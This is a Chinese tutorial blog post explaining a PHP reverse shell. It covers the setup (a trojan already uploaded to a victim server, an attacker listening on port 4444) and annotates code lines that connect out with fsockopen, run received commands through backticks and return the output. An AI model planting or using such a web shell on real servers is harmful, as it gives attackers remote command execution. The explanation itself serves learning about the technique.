PHP反弹shell

PHP反弹shell步骤详解 前提 PHPStudy 开启相关服务 假设木马已上传至服务器且可以访问 即执行代码才能反弹 shell 攻击机器和受害服务器要处于同一网段 1 划线为攻击机的 IP 端口 2 攻击机监听自身端口 4444 即可获取执行 shell phpset time limit 0 ip POST ip port POST port

步骤详解:
前提:
①、PHPStudy开启相关服务。
②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
③、攻击机器和受害服务器要处于同一网段。
1、划线为攻击机的IP+端口。
在这里插入图片描述2、攻击机监听自身端口4444,即可获取执行shell。
在这里插入图片描述














 
   

代码注释:
1、set_time_limit()来控制运行时间。如 set_time_limit(800) ,其中将秒数如果设为0 ,表示持续运行到程序结束。
2、$_POST['ip'] $_POST['port']表示传递的攻击的IP,PORT。
3、$fp=@fsockopen($ip,$port,$errno,$errstr); fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@屏蔽报错信息,返回一个文件句柄$fp,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
4、判断$fp是否存在,不存在报错echo "error",存在就使用fputs()函数写入连接成功信息。
5、feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
6、fputs($fp,"shell:");向句柄输出shell:的提示
7、$shell=fgets($fp);将攻击机输入命令通过文件句柄$fp传递入受害机器,同时使用fget()函数读取输入的命令,最终传递给$shell变量存储。
8、$message=`$shell`;php默认将反单引号的内容作为系统命令执行。
9、fputs($fp,$message);将结果输出至攻击机端显示。
10、fclose($fp);关闭文件句柄。




















版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/205683.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月19日 下午5:26
下一篇 2026年3月19日 下午5:27


相关推荐

  • 基于VirtualBox虚拟机安装Ubuntu图文教程

    一.下载安装VirtualBox官网下载VirtualBox,目前版本:VirtualBox5.1.8forWindowshostsx86/amd64下载好了安装VirtualBox,一路Next就可以了,这个比较简单。运行VirtulBox程序,如下图:配置VirtualBox。按 CTRL+G打开全局设定,根据需要可以设定虚拟脑位置和界面语言:

    2022年4月8日
    92
  • 最新小龙虾OpenClaw一键安装教程,新手10分钟搞定(实测可用)

    最新小龙虾OpenClaw一键安装教程,新手10分钟搞定(实测可用)

    2026年3月13日
    1
  • java linkedhashset_java之LinkedHashSet

    java linkedhashset_java之LinkedHashSetLinkedHashSe 是 Set 集合的一个实现 具有 set 集合不重复的特点 同时具有可预测的迭代顺序 也就是我们插入的顺序 并且 linkedHashSe 是一个非线程安全的集合 如果有多个线程同时访问当前 linkedhashse 集合容器 并且有一个线程对当前容器中的元素做了修改 那么必须要在外部实现同步保证数据的冥等性 下面我们 new 一个新的 LinkedHashSe 容器看一下具体的源码实现

    2026年3月19日
    2
  • python神经网络案例——CNN卷积神经网络实现mnist手写体识别[通俗易懂]

    python神经网络案例——CNN卷积神经网络实现mnist手写体识别[通俗易懂]全栈工程师开发手册(作者:栾鹏)python教程全解CNN卷积神经网络的理论教程参考http://blog.csdn.net/luanpeng825485697/article/details/79009241加载样本数据集首先我们要有手写体的数据集文件t10k-images.idx3-ubytet10k-labels.idx1-ubytetrain-imag…

    2022年5月11日
    51
  • Opencv学习笔记(五)Harris角点检测

    Opencv学习笔记(五)Harris角点检测原创文章 转载请注明出处 http blog csdn net crzy sparrow article details 文章目录 一 Harris 角点检测基本理论二 opencv 代码实现三 改进的 Harris 角点检测四 FAST 角点检测五 参考文献六 附录 资料和源码 一 Harris 角点检测基本理论 要讲清楚东西太多 附录提

    2026年3月26日
    1
  • 一文读懂 SIP 协议

    一文读懂 SIP 协议SIP 是由 IETF 制定的多媒体通信协议 广泛应用于 CS NGN 以及 IMS 的网络中 可以支持并应用于语音 视频 数据等多媒体业务 同时也可以应用于 Presence 呈现 InstantMessa 即时消息 等特色业务 可以说 有 IP 网络的地方就有 SIP 协议的存在 SIP 是类似于 HTTP SIP 可以减少应用特别是高级应用的开发时间 由于 基于 IP 协议的 SIP 利用了 IP 网络 固定网运营商也会逐渐认识到 SIP 技术对于他们的远意义

    2025年6月14日
    8

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号